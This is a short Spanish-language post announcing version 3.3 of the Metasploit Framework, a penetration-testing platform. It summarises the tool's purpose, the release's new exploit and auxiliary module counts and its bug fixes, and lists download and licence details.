Metasploit Framework es una plataforma de desarrollo para la creación de herramientas de seguridad y explotaciones. El marco es utilizado por profesionales de la seguridad en redes para realizar pruebas de penetración, administradores de sistema para verificar la instalación de parches, proveedores de productos para realizar pruebas de regresión, así como por investigadores de seguridad en todo el mundo. Está escrito en el lenguaje de programación Ruby e incluye componentes escritos en C y ensamblador.

El 17 de noviembre de 2009, después de mas o menos 12 meses de desarrollo, llega a nuestros ordenadores la versión 3.3 de Metasploit Framework. Esta nueva versión 3.3 aporta varios cambios, además de los típicos de optimización en el entorno, con mejoras en los procesos de instalación para cada sistema, ampliación de información y ayuda sobre los exploits, inclusión de nuevas técnicas de explotación y un amplio etc, todo ello detallado ampliamente tanto en el propio post del anuncio en el blog del proyecto como en el Changelog. Entre los cambios más importantes contamos con 120 nuevos módulos de explotación, más de 100 nuevos módulos auxiliares, y 180 correcciones de errores.

» Licencia | Open Source
» Sistema Operativo | Linux/Unix/Windows
» Tamaño | 35MB
» Sitio Oficial | The Metasploit Project
» Enlace de descarga | Metasploit Framework 3.3
» Manuales y tutoriales | [1],[2]
» Sitio Oficial | Seguir la línea de desarrollo de: Metasploit 3.4, Metasploit 3.5, Metasploit 3.6

» Fuente de referencia | SecurityByDefault

Compartelo: